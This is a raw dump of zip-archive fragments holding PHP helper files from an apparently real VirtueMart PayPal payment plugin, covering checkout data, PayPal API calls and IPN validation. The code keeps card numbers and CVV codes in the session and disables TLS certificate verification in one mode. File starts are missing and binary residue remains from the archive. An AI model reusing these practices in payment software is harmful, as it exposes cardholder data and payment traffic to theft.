AAAAPK ?\ paypal/helpers/customerdata.phpnu W+A clear();
$session = JFactory::getSession();
$sessionData = $session->get('paypal', 0, 'vm');
if (!empty($sessionData)) {
$data = unserialize($sessionData);
$this->_selected_method = $data->selected_method;
// card information
$this->_cc_type = $data->cc_type;
$this->_cc_number = $data->cc_number;
$this->_cc_cvv = $data->cc_cvv;
$this->_cc_expire_month = $data->cc_expire_month;
$this->_cc_expire_year = $data->cc_expire_year;
$this->_cc_valid = $data->cc_valid;
//Customer settings
$this->_autobilling_max_amount = $data->autobilling_max_amount;
//PayPal Express
$this->_token = $data->token;
$this->_payer_id = $data->payer_id;
$this->_first_name = $data->first_name;
$this->_last_name = $data->last_name;
$this->_payer_email = $data->payer_email;
// $this->_txn_id = $data->txn_id;
// $this->_txn_type = $data->txn_type;
// $this->_payment_status = $data->payment_status;
// $this->_pending_reason = $data->pending_reason;
$this->save();
return $data;
}
}
public function loadPost() {
// card information
$virtuemart_paymentmethod_id = JRequest::getVar('virtuemart_paymentmethod_id', 0);
//if ($virtuemart_paymentmethod_id) {
// print_trace();
//$this->clear();
//}
$this->_selected_method = $virtuemart_paymentmethod_id;
$cctype = JRequest::getVar('cc_type_' . $virtuemart_paymentmethod_id, '');
if ($cctype) {
$this->_cc_type = $cctype;
}
$cc_name = JRequest::getVar('cc_name_' . $virtuemart_paymentmethod_id, '');
if ($cc_name) {
$this->_cc_name = $cc_name;
}
$cc_number = JRequest::getVar('cc_number_' . $virtuemart_paymentmethod_id, '');
if ($cc_number) {
$this->_cc_number = $cc_number;
}
$cc_cvv = JRequest::getVar('cc_cvv_' . $virtuemart_paymentmethod_id, '');
if ($cc_cvv) {
$this->_cc_cvv = $cc_cvv;
}
$cc_expire_month = JRequest::getVar('cc_expire_month_' . $virtuemart_paymentmethod_id, '');
if ($cc_expire_month) {
$this->_cc_expire_month = $cc_expire_month;
}
$cc_expire_year = JRequest::getVar('cc_expire_year_' . $virtuemart_paymentmethod_id, '');
if ($cc_expire_year) {
$this->_cc_expire_year = $cc_expire_year;
}
//Customer settings
$autobilling_max_amount = JRequest::getVar('autobilling_max_amount_' . $virtuemart_paymentmethod_id, '');
if ($autobilling_max_amount) {
$this->_autobilling_max_amount = $autobilling_max_amount;
}
// $this->_cc_name = JRequest::getVar('cc_name_' . $virtuemart_paymentmethod_id, '');
// $this->_cc_number = str_replace(" ","",JRequest::getVar('cc_number_' . $virtuemart_paymentmethod_id, ''));
// $this->_cc_cvv = JRequest::getVar('cc_cvv_' . $virtuemart_paymentmethod_id, '');
// $this->_cc_expire_month = JRequest::getVar('cc_expire_month_' . $virtuemart_paymentmethod_id, '');
// $this->_cc_expire_year = JRequest::getVar('cc_expire_year_' . $virtuemart_paymentmethod_id, '');
// //Customer settings
// $this->_autobilling_max_amount = JRequest::getVar('autobilling_max_amount_' . $virtuemart_paymentmethod_id, '');
$this->save();
}
public function save() {
$session = JFactory::getSession();
$sessionData = new stdClass();
$sessionData->selected_method = $this->_selected_method;
// card information
$sessionData->cc_type = $this->_cc_type;
$sessionData->cc_number = $this->_cc_number;
$sessionData->cc_cvv = $this->_cc_cvv;
$sessionData->cc_expire_month = $this->_cc_expire_month;
$sessionData->cc_expire_year = $this->_cc_expire_year;
$sessionData->cc_valid = $this->_cc_valid;
//Customer settings
$sessionData->autobilling_max_amount = $this->_autobilling_max_amount;
//PayPal Express
$sessionData->token = $this->_token;
$sessionData->payer_id = $this->_payer_id;
$sessionData->first_name = $this->_first_name;
$sessionData->last_name = $this->_last_name;
$sessionData->payer_email = $this->_payer_email;
// $sessionData->txn_id = $this->_txn_id;
// $sessionData->txn_type = $this->_txn_type;
// $sessionData->payment_status = $this->_payment_status;
// $sessionData->pending_reason = $this->_pending_reason;
$session->set('paypal', serialize($sessionData), 'vm');
}
public function reset() {
$this->_selected_method = '';
// card information
$this->_cc_type = '';
$this->_cc_number = '';
$this->_cc_cvv = '';
$this->_cc_expire_month = '';
$this->_cc_expire_year = '';
//Customer settings
$this->_autobilling_max_amount = '';
//PayPal Express
$this->_token = '';
$this->_payer_id = '';
$this->_first_name = '';
$this->_last_name = '';
$this->_payer_email = '';
// $this->_txn_id = '';
// $this->_txn_type = '';
// $this->_payment_status = '';
// $this->_pending_reason = '';
$this->save();
}
public function clear() {
$session = JFactory::getSession();
$session->clear('paypal', 'vm');
}
public function getVar($var) {
$this->load();
return $this->{'_' . $var};
}
public function setVar($var, $val) {
$this->{'_' . $var} = $val;
}
}
PK ?\ paypal/helpers/index.htmlnu W+A PK ?\
} } paypal/helpers/paypal.phpnu W+A context = $session->getId();
$this->_method = $method;
$this->paypalPlugin = $paypalPlugin;
//Set the vendor
$vendorModel = VmModel::getModel('Vendor');
$vendorModel->setId($this->_method->virtuemart_vendor_id);
$vendor = $vendorModel->getVendor();
$vendorModel->addImages($vendor, 1);
$this->vendor = $vendor;
$this->getPaypalPaymentCurrency();
}
function getPaypalPaymentCurrency($getCurrency = FALSE) {
vmPSPlugin::getPaymentCurrency($this->_method);
$this->currency_code_3 = shopFunctions::getCurrencyByID($this->_method->payment_currency, 'currency_code_3');
}
public function getContext() {
return $this->context;
}
public function setCart($cart) {
$this->cart = $cart;
if (!isset($this->cart->pricesUnformatted)) {
$this->cart->getCartPrices();
}
}
public function setOrder($order) {
$this->order = $order;
}
public function setCustomerData($customerData) {
$this->customerData = $customerData;
}
public function loadCustomerData() {
$this->customerData = new PaypalHelperCustomerData();
$this->customerData->load();
$this->customerData->loadPost();
}
function getItemName($name) {
return substr(strip_tags($name), 0, 127);
}
function getProductAmount($productPricesUnformatted) {
if ($productPricesUnformatted['salesPriceWithDiscount']) {
return vmPSPlugin::getAmountValueInCurrency($productPricesUnformatted['salesPriceWithDiscount'], $this->_method->payment_currency);
} else {
return vmPSPlugin::getAmountValueInCurrency($productPricesUnformatted['salesPrice'], $this->_method->payment_currency);
}
}
function addRulesBill($rules) {
$handling = 0;
foreach ($rules as $rule) {
$handling += vmPSPlugin::getAmountValueInCurrency($this->cart->pricesUnformatted[$rule['virtuemart_calc_id'] . 'Diff'], $this->_method->payment_currency);
}
return $handling;
}
/**
* @return value
*/
function getHandlingAmount() {
$handling = 0;
$handling += $this->addRulesBill($this->cart->cartData['DBTaxRulesBill']);
$handling += $this->addRulesBill($this->cart->cartData['taxRulesBill']);
$handling += $this->addRulesBill($this->cart->cartData['DATaxRulesBill']);
$handling += vmPSPlugin::getAmountValueInCurrency($this->cart->pricesUnformatted['salesPricePayment'], $this->_method->payment_currency);
return $handling;
}
public function setTotal($total) {
if (!class_exists('CurrencyDisplay')) {
require(JPATH_VM_ADMINISTRATOR . '/helpers/currencydisplay.php');
}
$this->total = vmPSPlugin::getAmountValueInCurrency($total, $this->_method->payment_currency);
$cd = CurrencyDisplay::getInstance($this->cart->pricesCurrency);
}
public function getTotal() {
return $this->total;
}
public function getResponse() {
return $this->response;
}
public function getRequest() {
$this->debugLog($this->requestData, 'PayPal ' . $this->requestData['METHOD'] . ' Request variables ', 'debug');
return $this->requestData;
}
protected function sendRequest($post_data) {
$retryCodes = array('401', '403', '404',);
$this->post_data = $post_data;
$post_url = $this->_getApiUrl();
$post_string = $this->ToUri($post_data);
$curl_request = curl_init($post_url);
curl_setopt($curl_request, CURLOPT_POSTFIELDS, $post_string);
curl_setopt($curl_request, CURLOPT_HEADER, 0);
curl_setopt($curl_request, CURLOPT_TIMEOUT, $this->_timeout);
curl_setopt($curl_request, CURLOPT_RETURNTRANSFER, 1);
if ($this->_method->authentication == 'certificate') {
$certPath = "";
$passPhrase = "";
$this->getSSLCertificate($certPath, $passPhrase);
curl_setopt($curl_request, CURLOPT_SSLCERT, $certPath);
curl_setopt($curl_request, CURLOPT_SSLCERTPASSWD, $passPhrase);
curl_setopt($curl_request, CURLOPT_SSL_VERIFYPEER, 1);
curl_setopt($curl_request, CURLOPT_SSL_VERIFYHOST, 2);
} else {
curl_setopt($curl_request, CURLOPT_SSL_VERIFYPEER, false);
}
curl_setopt($curl_request, CURLOPT_POST, 1);
if (preg_match('/xml/', $post_url)) {
curl_setopt($curl_request, CURLOPT_HTTPHEADER, Array("Content-Type: text/xml"));
}
$response = curl_exec($curl_request);
if ($curl_error = curl_error($curl_request)) {
$this->debugLog($curl_error, '----CURL ERROR----', 'error');
}
/*
$httpStatus = curl_getinfo($curl_request, CURLINFO_HTTP_CODE);
$retries = 0;
if(in_array($httpStatus, $retryCodes) && isset($this->retry)) {
$this->debugLog("Got $httpStatus response from server. Retrying");
do {
$result = curl_exec(debugLog);
$httpStatus = curl_getinfo(debugLog, CURLINFO_HTTP_CODE);
} while (in_array($httpStatus, self::$retryCodes) && ++$retries < $this->retry );
}
*/
$responseArray = array();
parse_str($response, $responseArray); // Break the NVP string to an array
curl_close($curl_request);
//$responseArray['invoice'] = $this->order['details']['BT']->order_number;
$responseArray['custom'] = $this->context;
$responseArray['method'] = $post_data['METHOD'];
$this->response = $responseArray;
if ($this->response['ACK'] == 'SuccessWithWarning') {
$level = 'warning';
} else {
$level = 'debug';
}
$this->debugLog($post_data, 'PayPal ' . $post_data['METHOD'] . ' Request variables:', $level);
$this->debugLog($this->response, 'PayPal response:', $level);
return $this->response;
}
/**
* Get ssl parameters for certificate based client authentication
*
* @param string $certPath - path to client certificate file (PEM formatted file)
*/
public function getSSLCertificate(&$certifPath, &$passPhrase) {
$safePath = VmConfig::get('forSale_path', '');
if ($safePath) {
$sslCertifFolder = $safePath . "paypal";
}
$certifPath = $sslCertifFolder . DS . $this->api_certificate;
}
protected function setTimeOut($value = 45) {
$this->_timeout = $value;
}
protected function _getPayPalUrl($protocol = 'https://', $includePath = true) {
$url = ($this->_method->sandbox ) ? $protocol . 'www.sandbox.paypal.com' : $protocol . 'www.paypal.com';
if ($includePath) {
$url .= '/cgi-bin/webscr';
}
return $url;
}
protected function _getApiUrl() {
$url_auth = "";
if ($this->_method->authentication == 'signature') {
$url_auth = "-3t";
}
$url_environment = "";
if ($this->_method->sandbox ) {
$url_environment = ".sandbox";
}
//return ($this->_method->sandbox=='sandbox') ? 'https://api-3t.sandbox.paypal.com/nvp' : 'https://api-3t.paypal.com/nvp';
return 'https://api' . $url_auth . $url_environment . '.paypal.com/nvp';
}
protected function getDurationValue($duration) {
$parts = explode('-', $duration);
return $parts[0];
}
protected function getDurationUnit($duration) {
$parts = explode('-', $duration);
return $parts[1];
}
protected function truncate($string, $length) {
return substr($string, 0, $length);
}
protected function _getFormattedDate($month, $year) {
return sprintf('%02d%04d', $month, $year);
}
public function validate($enqueueMessage = true) {
return true;
}
public function validatecheckout($enqueueMessage = true) {
return true;
}
function ToUri($post_variables) {
$poststring = '';
foreach ($post_variables AS $key => $val) {
$poststring .= urlencode($key) . "=" . urlencode($val) . "&";
}
$poststring = rtrim($poststring, "& ");
return $poststring;
}
public function displayExtraPluginInfo() {
$extraInfo = '';
if ($this->_method->payment_type == '_xclick-auto-billing' && $this->customerData->getVar('autobilling_max_amount')) {
$cd = CurrencyDisplay::getInstance($this->_method->payment_currency);
$extraInfo .= '
';
$extraInfo .= JText::_('VMPAYMENT_PAYPAL_PAYMENT_BILLING_MAX_AMOUNT') . ': ' . $cd->priceDisplay($this->customerData->getVar('autobilling_max_amount'));
}
if ($this->_method->payment_type == '_xclick-subscriptions') {
$extraInfo .= '
';
$extraInfo .= $this->getRecurringProfileDesc();
$extraInfo .= '';
}
if ($this->_method->payment_type == '_xclick-payment-plan') {
$extraInfo .= '
';
$extraInfo .= $this->getPaymentPlanDesc();
$extraInfo .= '';
}
return $extraInfo;
}
public function getExtraPluginInfo() {
$extraInfo = '';
return $extraInfo;
}
public function getLogoImage() {
if ($this->_method->logoimg) {
return JURI::base() . '/images/stories/virtuemart/payment/' . $this->_method->logoimg;
} else {
return JURI::base() . $this->vendor->images[0]->file_url;
}
}
public function getRecurringProfileDesc() {
// $recurringDesc = '';
// if ($this->_method->subcription_trials) {
// $recurringDesc .= JText::_('VMPAYMENT_PAYPAL_TRIAL_PERIODS') . $this->_method->trial1_duration . ': '.$this->_method->trial1_price.'
';
// }
// $recurringDesc .= JText::_('VMPAYMENT_PAYPAL_SUBSCRIPTION_DURATION').': '.$this->_method->subscription_duration . '
';
// $recurringDesc .= JText::_('VMPAYMENT_PAYPAL_SUBSCRIPTION_TERM').': '.$this->_method->subscription_term . '
';
$durationValue = $this->getDurationValue($this->_method->subscription_duration);
$durationUnit = $this->getDurationUnit($this->_method->subscription_duration);
$recurringDesc = JText::sprintf('VMPAYMENT_PAYPAL_SUBSCRIPTION_DESCRIPTION', $durationValue, $durationUnit, $this->_method->subscription_term);
return $recurringDesc;
}
public function getPaymentPlanDesc() {
// $recurringDesc = '';
// if ($this->_method->subcription_trials) {
// $recurringDesc .= JText::_('VMPAYMENT_PAYPAL_TRIAL_PERIODS') . $this->_method->trial1_duration . ': '.$this->_method->trial1_price.'
';
// }
// $recurringDesc .= JText::_('VMPAYMENT_PAYPAL_SUBSCRIPTION_DURATION').': '.$this->_method->subscription_duration . '
';
// $recurringDesc .= JText::_('VMPAYMENT_PAYPAL_SUBSCRIPTION_TERM').': '.$this->_method->subscription_term . '
';
$durationValue = $this->getDurationValue($this->_method->payment_plan_duration);
$durationUnit = $this->getDurationUnit($this->_method->payment_plan_duration);
$recurringDesc = JText::sprintf('VMPAYMENT_PAYPAL_PAYMENT_PLAN_DESCRIPTION', $this->_method->payment_plan_term, $durationValue, $durationUnit);
if ($this->_method->payment_plan_defer && $this->_method->paypalproduct == 'std') {
$defer_duration = $this->getDurationValue($this->_method->payment_plan_defer_duration);
$defer_unit = $this->getDurationUnit($this->_method->payment_plan_defer_duration);
$startDate = JFactory::getDate('+' . $defer_duration . ' ' . $defer_unit);
$recurringDesc .= '
' . JText::sprintf('VMPAYMENT_PAYPAL_PAYMENT_PLAN_INITIAL_PAYMENT', JHTML::_('date', $startDate->toFormat(), JText::_('DATE_FORMAT_LC4')));
} else if ($this->_method->payment_plan_defer_strtotime) {
$startDate = JFactory::getDate($this->_method->payment_plan_defer_strtotime);
$recurringDesc .= '
' . JText::sprintf('VMPAYMENT_PAYPAL_PAYMENT_PLAN_INITIAL_PAYMENT', JHTML::_('date', $startDate->toFormat(), JText::_('DATE_FORMAT_LC4')));
//$recurringDesc .= '
'.JText::sprintf('VMPAYMENT_PAYPAL_PAYMENT_PLAN_INITIAL_PAYMENT',date(JText::_('DATE_FORMAT_LC4'),strtotime('first day of next month')));
}
return $recurringDesc;
}
/********************************/
/* Instant Payment Notification */
/********************************/
public function processIPN($paypal_data, $payments) {
// check that the remote IP is from Paypal.
if (!$this->checkPaypalIps($paypal_data)) {
return false;
}
// Validate the IPN content upon PayPal
if (!$this->validateIpnContent($paypal_data)) {
return false;
}
//Check the PayPal response
/*
* https://cms.paypal.com/us/cgi-bin/?cmd=_render-content&content_ID=developer/e_howto_html_IPNandPDTVariables
* The status of the payment:
* Canceled_Reversal: A reversal has been canceled. For example, you won a dispute with the customer, and the funds for the transaction that was reversed have been returned to you.
* Completed: The payment has been completed, and the funds have been added successfully to your account balance.
* Created: A German ELV payment is made using Express Checkout.
* Denied: You denied the payment. This happens only if the payment was previously pending because of possible reasons described for the pending_reason variable or the Fraud_Management_Filters_x variable.
* Expired: This authorization has expired and cannot be captured.
* Failed: The payment has failed. This happens only if the payment was made from your customer’s bank account.
* Pending: The payment is pending. See pending_reason for more information.
* Refunded: You refunded the payment.
* Reversed: A payment was reversed due to a chargeback or other type of reversal. The funds have been removed from your account balance and returned to the buyer. The reason for the reversal is specified in the ReasonCode element.
* Processed: A payment has been accepted.
* Voided: This authorization has been voided.
*/
$order_history = array();
$order_history['customer_notified'] = 1;
if ($paypal_data['txn_type'] == 'subscr_cancel') {
$order_history['order_status'] = $this->_method->status_canceled;
} elseif ($paypal_data['txn_type'] == 'mp_cancel') {
$order_history['order_status'] = $this->_method->status_canceled;
} elseif ($paypal_data['txn_type'] == 'subscr_eot') {
$order_history['order_status'] = $this->_method->status_expired;
} elseif ($paypal_data['txn_type'] == 'recurring_payment_expired') {
$order_history['order_status'] = $this->_method->status_expired;
} elseif ($paypal_data['txn_type'] == 'subscr_signup') {
//TODO: Validate the response
$order_history['order_status'] = $this->_method->status_success;
} elseif ($paypal_data['txn_type'] == 'recurring_payment_profile_created') {
if ($paypal_data['profile_status'] == 'Active') {
$order_history['order_status'] = $this->_method->status_success;
} else {
$order_history['order_status'] = $this->_method->status_canceled;
}
} else if (strcmp($paypal_data['payment_status'], 'Completed') == 0) {
$this->debugLog('Completed', 'payment_status', 'debug');
// 1. check the payment_status is Completed
// 2. check that txn_id has not been previously processed
if ($this->_check_txn_id_already_processed($payments, $paypal_data['txn_id'])) {
$this->debugLog($paypal_data['txn_id'], '_check_txn_id_already_processed', 'debug');
return FALSE;
}
// 3. check email and amount currency is correct
if ($paypal_data['txn_type'] != 'recurring_payment' && !$this->_check_email_amount_currency($payments, $paypal_data)) {
return FALSE;
}
// now we can process the payment
if (strcmp($paypal_data['payment_status'], 'Authorization') == 0) {
$order_history['order_status'] = $this->_method->status_pending;
} else {
$order_history['order_status'] = $this->_method->status_success;
}
$order_history['comments'] = JText::sprintf('VMPAYMENT_PAYPAL_PAYMENT_STATUS_CONFIRMED', $this->order['details']['BT']->order_number);
} elseif (strcmp($paypal_data['payment_status'], 'Pending') == 0) {
$lang = JFactory::getLanguage();
$key = 'VMPAYMENT_PAYPAL_PENDING_REASON_FE_' . strtoupper($paypal_data['pending_reason']);
if (!$lang->hasKey($key)) {
$key = 'VMPAYMENT_PAYPAL_PENDING_REASON_FE_DEFAULT';
}
$order_history['comments'] = JText::sprintf('VMPAYMENT_PAYPAL_PAYMENT_STATUS_PENDING', $this->order['details']['BT']->order_number) . JText::_($key);
$order_history['order_status'] = $this->_method->status_pending;
} elseif (strcmp($paypal_data['payment_status'], 'Refunded') == 0) {
if ($this->_is_full_refund($payments, $paypal_data)) {
$order_history['comments'] = JText::sprintf('VMPAYMENT_PAYPAL_PAYMENT_STATUS_REFUNDED', $this->order['details']['BT']->order_number);
$order_history['order_status'] = $this->_method->status_refunded;
} else {
$order_history['comments'] = JText::sprintf('VMPAYMENT_PAYPAL_PAYMENT_STATUS_PARTIAL_REFUNDED', $this->order['details']['BT']->order_number);
$order_history['order_status'] = isset($this->_method->status_partial_refunded) ? $this->_method->status_partial_refunded : 'R';
}
} elseif (isset ($paypal_data['payment_status'])) {
// voided
$order_history['order_status'] = $this->_method->status_canceled;
} else {
/*
* a notification was received that concerns one of the payment (since $paypal_data['invoice'] is found in our table),
* but the IPN notification has no $paypal_data['payment_status']
* We just log the info in the order, and do not change the status, do not notify the customer
*/
$order_history['comments'] = JText::_('VMPAYMENT_PAYPAL_IPN_NOTIFICATION_RECEIVED');
$order_history['customer_notified'] = 0;
}
return $order_history;
}
protected function checkPaypalIps($paypal_data) {
/*
$test_ipn = (array_key_exists('test_ipn', $paypal_data)) ? $paypal_data['test_ipn'] : 0;
if ($test_ipn == 1) {
return true;
}
*/
$order_number = $paypal_data['invoice'];
// Get the list of IP addresses for www.paypal.com and notify.paypal.com
if ($this->_method->sandbox ) {
$paypal_iplist = gethostbynamel('ipn.sandbox.paypal.com');
$paypal_iplist = (array)$paypal_iplist;
$this->debugLog($paypal_iplist, 'checkPaypalIps SANDBOX', 'debug', false);
} else {
$paypal_iplist1 = gethostbynamel('www.paypal.com');
$paypal_iplist2 = gethostbynamel('notify.paypal.com');
$paypal_iplist3 = array('216.113.188.202', '216.113.188.203', '216.113.188.204', '66.211.170.66');
$paypal_iplist = array_merge($paypal_iplist1, $paypal_iplist2, $paypal_iplist3);
// http://forum.virtuemart.net/index.php?topic=115375.msg406664#msg406664
$paypal_iplist3 = array('216.113.188.202', '216.113.188.203', '216.113.188.204', '66.211.170.66');
// Added JH 2013-10-12
//Current IP addresses
//------------api.paypal.com---------
$paypal_iplist_api = array('173.0.88.66', '173.0.88.98', '173.0.84.66', '173.0.84.98',
'173.0.80.00', '173.0.80.01', '173.0.80.02', '173.0.80.03', '173.0.80.04', '173.0.80.05', '173.0.80.06', '173.0.80.07', '173.0.80.08', '173.0.80.09', '173.0.80.10', '173.0.80.11', '173.0.80.12', '173.0.80.13', '173.0.80.14', '173.0.80.15', '173.0.80.16', '173.0.80.17', '173.0.80.18', '173.0.80.19', '173.0.80.20');
//------------api-aa.paypal.com------------
$paypal_iplist_api_aa = array('173.0.88.67', '173.0.88.99', '173.0.84.99', '173.0.84.67');
//'------------api-3t.paypal.com------------'
$paypal_iplist_api_3t_aa = array('173.0.88.69', '173.0.88.101', '173.0.84.69', '173.0.84.101');
//------------api-aa-3t.paypal.com------------
$paypal_iplist_api_aa_3t = array('173.0.88.68', '173.0.88.100', '173.0.84.68', '173.0.84.100');
//------------notify.paypal.com (IPN delivery)------------
$paypal_iplist_notify = array('173.0.81.1', '173.0.81.33');
//'-----------reports.paypal.com-----------'
$paypal_iplist_reports = array('66.211.168.93', '173.0.84.161', '173.0.84.198', '173.0.88.161', '173.0.88.198');
//'------------www.paypal.com------------'
//'Starting September 12, 2012 www.paypal.com will start resolving to a dynamic list of IP addresses and as such should not be whitelisted.'
//'For more information on IPNs please go here.'
//'------------ipnpb.paypal.com------------'
$paypal_iplist_ipnb = array('64.4.240.0', '64.4.240.1', '64.4.240.2', '64.4.240.3', '64.4.240.4', '64.4.240.5', '64.4.240.6', '64.4.240.7', '64.4.240.8', '64.4.240.9', '64.4.240.10', '64.4.240.11', '64.4.240.12', '64.4.240.13', '64.4.240.14', '64.4.240.15', '64.4.240.16', '64.4.240.17', '64.4.240.18', '64.4.240.19', '64.4.240.20',
'118.214.15.186', '118.215.103.186', '118.215.119.186', '118.215.127.186', '118.215.15.186', '118.215.151.186', '118.215.159.186', '118.215.167.186', '118.215.199.186', '118.215.207.186', '118.215.215.186', '118.215.231.186', '118.215.255.186', '118.215.39.186', '118.215.63.186', '118.215.7.186', '118.215.79.186', '118.215.87.186', '118.215.95.186',
'202.43.63.186',
'69.192.31.186',
'72.247.111.186',
'88.221.43.186',
'92.122.143.186', '92.123.151.186', '92.123.159.186', '92.123.163.186', '92.123.167.186', '92.123.179.186', '92.123.183.186');
// JH
$paypal_iplist = array_merge($paypal_iplist, $paypal_iplist2, $paypal_iplist3,
// Added JH 2013-10-12
$paypal_iplist_api,
$paypal_iplist_api_aa,
$paypal_iplist_api_3t_aa,
$paypal_iplist_api_aa_3t,
$paypal_iplist_notify,
$paypal_iplist_ipnb
// JH
);
$paypal_iplist = array_merge($paypal_iplist, $paypal_iplist2, $paypal_iplist3);
$this->debugLog($paypal_iplist, 'checkPaypalIps PRODUCTION', 'debug', false);
}
$this->debugLog($_SERVER['REMOTE_ADDR'], 'checkPaypalIps REMOTE ADDRESS', 'debug', false);
// test if the remote IP connected here is a valid IP address
if (!in_array($_SERVER['REMOTE_ADDR'], $paypal_iplist)) {
$text = "Error with REMOTE IP ADDRESS = " . $_SERVER['REMOTE_ADDR'] . ".
The remote address of the script posting to this notify script does not match a valid PayPal IP address\n
These are the valid IP Addresses: " . implode(",", $paypal_iplist) .
"The Order ID received was: " . $order_number;
$this->debugLog($text, 'checkPaypalIps', 'error', false);
return false;
}
return true;
}
protected function validateIpnContent($paypal_data) {
$test_ipn = (array_key_exists('test_ipn', $paypal_data)) ? $paypal_data['test_ipn'] : 0;
if ($test_ipn == 1) {
//return true;
}
// Paypal wants to open the socket in SSL
$port = 443;
$paypal_url = $this->_getPaypalURL('ssl://', false);
$paypal_url_header = $this->_getPaypalURL('', false);
$protocol = 'ssl://';
/*
* Before we can trust the contents of the message, we must first verify that the message came from PayPal.
* To verify the message, we must send back the contents in the exact order they
* were received and precede it with the command _notify-validate,
*/
// read the post from PayPal system and add 'cmd'
$post_msg = 'cmd=_notify-validate';
if(function_exists('get_magic_quotes_gpc')) {
$get_magic_quotes_exists = true;
}
foreach ($paypal_data as $key => $value) {
if($get_magic_quotes_exists == true && get_magic_quotes_gpc() == 1) {
$value = str_replace('\r\n', "QQLINEBREAKQQ", $value);
$value = urlencode(stripslashes($value));
$value = str_replace("QQLINEBREAKQQ", "\r\n", $value);
} else {
$value = urlencode($value);
}
$post_msg .= "&$key=$value";
}
$header="POST /cgi-bin/webscr HTTP/1.1\r\n";
$header .= "User-Agent: PHP/" . phpversion () . "\r\n";
$header .= "Referer: " . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . @$_SERVER['QUERY_STRING'] . "\r\n";
$header .= "Server: " . $_SERVER['SERVER_SOFTWARE'] . "\r\n";
$header .= "Host: " . $paypal_url_header . ":" . $port . "\r\n";
$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
$header .= "Content-Length: " . strlen ($post_msg) . "\r\n";
//$header .= "Accept: */*\r\n\r\n";
$header .="Connection: close\r\n\r\n";
$fps = fsockopen($paypal_url, $port, $errno, $errstr, 30);
$valid_ipn = false;
if (!$fps) {
$this->debugLog(JText::sprintf('VMPAYMENT_PAYPAL_ERROR_POSTING_IPN', $errstr, $errno), 'validateIpnContent', 'error' , false);
} else {
$return = fputs($fps, $header . $post_msg);
if ($return===false) {
$this->debugLog("FALSE", 'validateIpnContent FPUTS', 'error', false);
return FALSE;
}
$res = '';
while (!feof($fps)) {
$res .= fgets($fps, 1024);
}
fclose($fps);
// Inspect IPN validation result and act accordingly
$valid_ipn = strstr($res, "VERIFIED");
if (!$valid_ipn) {
if (strstr($res, "INVALID")) {
$errorInfo=array("paypal_data" =>$paypal_data, 'post_msg'=> $post_msg, 'paypal_res' =>$res);
$this->debugLog($errorInfo, JText::_('VMPAYMENT_PAYPAL_ERROR_IPN_VALIDATION'), 'error', false);
} else {
$this->debugLog(JText::_('VMPAYMENT_PAYPAL_ERROR_IPN_VALIDATION') . ": NO ANSWER FROM PAYPAL", 'validateIpnContent', 'error', false);
}
}
}
$this->debugLog('valid_ipn: ' . $valid_ipn, 'validateIpnContent', 'debug', false);
return $valid_ipn;
}
protected function _check_txn_id_already_processed($payments, $txn_id) {
if ($this->order['details']['BT']->order_status == $this->_method->status_success) {
foreach ($payments as $payment) {
$paypal_data = json_decode($payment->paypal_fullresponse);
if ($paypal_data->txn_id == $txn_id) {
return true;
}
}
}
return false;
}
protected function _check_email_amount_currency($payments, $paypal_data) {
/*
* TODO Not checking yet because config do not have primary email address
* Primary email address of the payment recipient (that is, the merchant).
* If the payment is sent to a non-primary email address on your PayPal account,
* the receiver_email is still your primary email.
*/
if ($this->_method->paypalproduct =="std") {
if (strcasecmp($paypal_data['receiver_email'],$this->merchant_email)!=0 ) {
$errorInfo=array("paypal_data" =>$paypal_data, 'merchant_email' =>$this->merchant_email);
$this->debugLog($errorInfo, 'IPN notification: wrong merchant_email', 'error', false);
return false;
}
}
if (($payments[0]->payment_order_total == $paypal_data['mc_gross']) and ($this->currency_code_3 == $paypal_data['mc_currency'])) {
return TRUE;
}
$errorInfo=array("paypal_data" =>$paypal_data, 'payment_order_total' =>$payments[0]->payment_order_total, 'currency_code_3'=>$this->currency_code_3);
$this->debugLog($errorInfo, 'IPN notification with invalid amount or currency or email', 'error', false);
return FALSE;
}
static function getPaypalCreditCards() {
return array(
'Visa',
'Mastercard',
'Amex',
'Discover',
'Maestro',
);
}
function _is_full_refund($payment, $paypal_data) {
if (($payment->payment_order_total == (-1 * $paypal_data['mc_gross']))) {
return TRUE;
} else {
return FALSE;
}
}
function handleResponse() {
if ($this->response) {
if ($this->response['ACK'] == 'Failure' || $this->response['ACK'] == 'FailureWithWarning') {
$error = '';
$public_error = '';
for ($i = 0; isset($this->response["L_ERRORCODE" . $i]); $i++) {
$error .= $this->response["L_ERRORCODE" . $i];
$message = isset($this->response["L_LONGMESSAGE" . $i]) ? $this->response["L_LONGMESSAGE" . $i] : $this->response["L_SHORTMESSAGE" . $i];
$error .= ": " . $message . "
";
}
if ($this->_method->debug) {
$public_error = $error;
}
$this->debugLog($this->response, 'handleResponse:', 'debug');
VmError($error, $public_error);
return false;
} elseif ($this->response['ACK'] == 'Success' || $this->response['ACK'] == 'SuccessWithWarning' || $this->response['TRANSACTIONID'] != NULL || $this->response['PAYMENTINFO_0_TRANSACTIONID'] != NULL) {
return true;
} else {
// Unexpected ACK type. Log response and inform the buyer that the
// transaction must be manually investigated.
$error = '';
$public_error = '';
$error="Unexpected ACK type:". $this->response['ACK'];
$this->debugLog($this->response, 'Unexpected ACK type:', 'debug');
if ($this->_method->debug) {
$public_error = $error;
}
VmError($error, $public_error);
return false;
}
}
}
function onShowOrderBEPayment($data) {
$showOrderBEFields = $this->getOrderBEFields();
$prefix = 'PAYPAL_RESPONSE_';
$html = '';
if ($data->ACK == 'SuccessWithWarning' &&
$data->L_ERRORCODE0 == self::FMF_PENDED_ERROR_CODE &&
$data->PAYMENTSTATUS == "Pending"
) {
$showOrderField = 'L_SHORTMESSAGE0';
$html .= $this->paypalPlugin->getHtmlRowBE($prefix . $showOrderField, $this->highlight($data->$showOrderField));
}
if (($data->ACK == 'Failure' OR $data->ACK == 'FailureWithWarning')) {
$showOrderField = 'L_SHORTMESSAGE0';
$html .= $this->paypalPlugin->getHtmlRowBE($prefix . 'ERRORMSG', $this->highlight($data->$showOrderField));
$showOrderField = 'L_LONGMESSAGE0';
$html .= $this->paypalPlugin->getHtmlRowBE($prefix . 'ERRORMSG', $this->highlight($data->$showOrderField));
}
foreach ($showOrderBEFields as $key => $showOrderBEField) {
if (($showOrderBEField == 'PAYMENTINFO_0_REASONCODE' and $data->$showOrderBEField != 'None') OR
($showOrderBEField == 'PAYMENTINFO_0_ERRORCODE' and $data->$showOrderBEField != 0) OR
($showOrderBEField != 'PAYMENTINFO_0_REASONCODE' and $showOrderBEField != 'PAYMENTINFO_0_ERRORCODE')
) {
